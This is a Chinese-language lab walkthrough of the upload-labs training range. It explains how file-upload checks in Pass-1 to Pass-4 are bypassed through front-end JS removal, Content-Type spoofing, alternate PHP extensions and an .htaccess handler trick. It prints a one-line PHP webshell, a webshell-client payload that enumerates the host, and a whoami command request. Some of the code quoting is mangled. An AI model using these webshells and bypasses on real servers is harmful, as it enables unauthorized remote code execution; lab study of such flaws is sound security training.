文件上传复现

漏洞原理与技术演进

核心逻辑缺陷 未对上传文件的以下属性进行校验：
- 文件扩展名（.php/.jsp/.asp）
- MIME类型（image/jpeg vs text/html）
- 文件头标识（FFD8FF vs 3C3F706870）
- 文件内容（是否包含恶意代码）

前端验证绕过

<input type="file" id="upload" οnchange="checkFile()">
<script>
// 原生JS验证可被开发者工具直接禁用
function checkFile() {
let file = document.getElementById('upload').value;
if(!file.match(/\.(jpg|png)$/i)) {
alert("只允许图片格式！");
return false;
}
}
</script>

一、复现upload-labs漏洞

(1)Pass-1 （Javascript 前端检查）

1、判断本关文件上传检测方式

①显示源码

②查看提示

得出结论为JS前端检测。

2、针对防御措施进行绕过上传

通过JS 限制上传的文件类型，对于这种情况，我们可以采用以下几种方式绕过：

①修改JS文件;

②上传png后缀的webshell，代理抓包，修改上传的文件后缀（推荐）;

③禁用js。

3、靶机实战

①这里使用“修改js文件”

右键-查看元素，查看器中找到“οnsubmit=“return checkFile()””删除其值。

②通过木马文件就可以进入后台。

（2）Pass-2 文件类型检查有缺陷

1、判断本关文件上传检测方式

2、针对防御措施进行绕过上传

对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配。

绕过方式：

①上传webshell.php 内容为：<?php @system($\_GET′cmd′); ?>；

②抓包修改上传的Content-Type 类型为允许的类型 image/jpeg；

③放包，收到成功上传；

④复制文件上传的路径，请求GET /upload/upload/webshell.php?cmd=whoami。

3、靶机实战

①上传webshell.php 内容为：<?php @system($\_GET′cmd′); ?>；

抓包修改上传的Content-Type 类型为允许的类型 image/jpeg；

放包，收到成功上传

（3）Pass-3 黑名单限制不完全

1、判断本关文件上传检测方式

2、针对防御措施进行绕过上传

对于黑名单限制上传文件后缀的可以通过以下几种方式绕过：

①通过使用可被执行但不常见的后缀名，比如php5，shtml等等；

②上传恶意的配置文件（Apache .htaccess）欺骗服务器将任意自定义文件扩展名映射到可知执行的③MIME类型；

④利用后端解析差异绕过限制。

3、靶机实战

①上传 webshell.php3 内容为：<?php @system($\_GET′cmd′); ?>；

（4）Pass-4

判断本关文件上传检测方式

①分析源码，黑名单包括了几乎所有php后缀文件，但是并没有屏蔽后缀为.htaccess的文件上传。

②首先上传.htaccecc（此文件不要起名字，就是无标题文件）。

<code class="language-plaintext hljs"><FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch></code>

在上述配置中，FilesMatch表示匹配4.png的文件，当该文件名匹配成功后，SetHandler表示将该文件作为PHP类型的文件来进行处置。

③然后上传含有一句话木马的4.png文件。

<code class="language-plaintext hljs">ant=@ini_set("display_errors", "0");@set_time_limit(0);echo "3e231";$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;echo "8e51f";die();</code>

④使用远程工具连接。